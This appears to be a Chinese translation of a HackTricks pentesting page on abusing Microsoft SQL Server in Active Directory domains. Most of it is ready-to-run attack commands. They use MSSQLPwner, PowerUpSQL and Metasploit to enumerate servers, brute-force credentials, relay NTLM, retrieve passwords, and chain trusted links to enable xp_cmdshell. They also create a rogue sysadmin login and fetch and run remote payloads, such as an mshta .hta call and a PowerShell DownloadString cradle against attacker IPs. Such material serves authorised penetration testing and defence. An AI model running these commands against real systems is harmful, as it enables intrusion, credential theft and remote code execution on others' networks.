MSSQL AD Abuse

MSSQL AD 滥用

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Websec | Uw Cybersecurity Specialist

MSSQL 枚举 / 发现

Python

MSSQLPwner 工具基于 impacket，允许使用 kerberos 票证进行身份验证，并通过链接链进行攻击。

```shell # Interactive mode mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive

Interactive mode with 2 depth level of impersonations

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive

Executing custom assembly on the current server with windows authentication and executing hostname command

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

Executing the hostname command using stored procedures on the linked SRV01 server

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

Issuing NTLM relay attack on the SRV01 server

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

Issuing NTLM relay attack on the local server with custom command

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Executing direct query

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"

Retrieving password from the linked server DC01

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password

Execute code using custom assembly on the linked server DC01

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

Bruteforce using tickets against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

Bruteforce using passwords against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

Bruteforce using hashes against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

### 在没有域会话的情况下从网络枚举

Interactive mode

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive

---
###  Powershell

在这种情况下，powershell 模块 [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) 非常有用。
```powershell
Import-Module .\PowerupSQL.psd1

在没有域会话的情况下从网络枚举

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

从域内部枚举

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

MSSQL 基本滥用

访问数据库

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

MSSQL RCE

在 MSSQL 主机内部执行命令也可能是可行的。

Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

检查以下部分中提到的页面以了解如何手动执行此操作。

MSSQL 基本黑客技巧

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL 受信任链接

如果一个 MSSQL 实例被另一个 MSSQL 实例信任（数据库链接）。如果用户对受信任的数据库拥有权限，他将能够利用信任关系在另一个实例中执行查询。这些信任可以链式连接，在某些情况下，用户可能能够找到一些配置错误的数据库，在那里他可以执行命令。

数据库之间的链接甚至可以跨森林信任工作。

Powershell 滥用

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

Metasploit

您可以使用 metasploit 轻松检查受信任的链接。

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

注意，metasploit 只会尝试在 MSSQL 中滥用 openquery() 函数（因此，如果您无法使用 openquery() 执行命令，您将需要尝试 手动 使用 EXECUTE 方法来执行命令，更多信息见下文。）

手动 - Openquery()

从 Linux 您可以使用 sqsh 和 mssqlclient.py 获取 MSSQL 控制台 shell。

从 Windows 您也可以找到链接并使用 MSSQL 客户端如 HeidiSQL 手动执行命令。

使用 Windows 身份验证登录：

查找可信链接

select * from master..sysservers;
EXEC sp_linkedservers;

在可信链接中执行查询

通过链接执行查询（示例：在新的可访问实例中查找更多链接）：

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

检查双引号和单引号的使用，正确使用它们非常重要。

您可以手动无限制地继续这些受信任链接的链。

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

如果您无法通过 openquery() 执行像 exec xp_cmdshell 这样的操作，请尝试使用 EXECUTE 方法。

手动 - EXECUTE

您还可以使用 EXECUTE 滥用受信任的链接：

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

本地权限提升

MSSQL 本地用户 通常具有一种特殊类型的权限，称为 SeImpersonatePrivilege。这允许该账户在身份验证后“模拟客户端”。

许多作者提出的一种策略是强制 SYSTEM 服务向攻击者创建的恶意或中间人服务进行身份验证。这个恶意服务能够在 SYSTEM 服务尝试进行身份验证时模拟该服务。

SweetPotato 收集了这些可以通过 Beacon 的 execute-assembly 命令执行的各种技术。

Websec | Uw Cybersecurity Specialist

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• 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 上关注 🐦 @hacktricks_live.

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